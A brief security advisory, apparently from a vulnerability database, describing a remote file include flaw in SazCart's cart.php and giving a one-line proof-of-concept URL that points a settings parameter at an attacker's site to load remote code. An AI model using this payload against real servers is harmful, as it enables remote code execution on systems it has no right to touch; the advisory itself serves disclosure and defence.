|
SazCart CART.PHP Remote File Include Vulnerability
An attacker can exploit this issue via a web client. The following proof of concept is available: http://www.example.com/[sazcart PATH]/admin/controls/cart.php?_saz[settings][shippingfolder]=HTTP://attacker's site |
|
|
Privacy Statement |
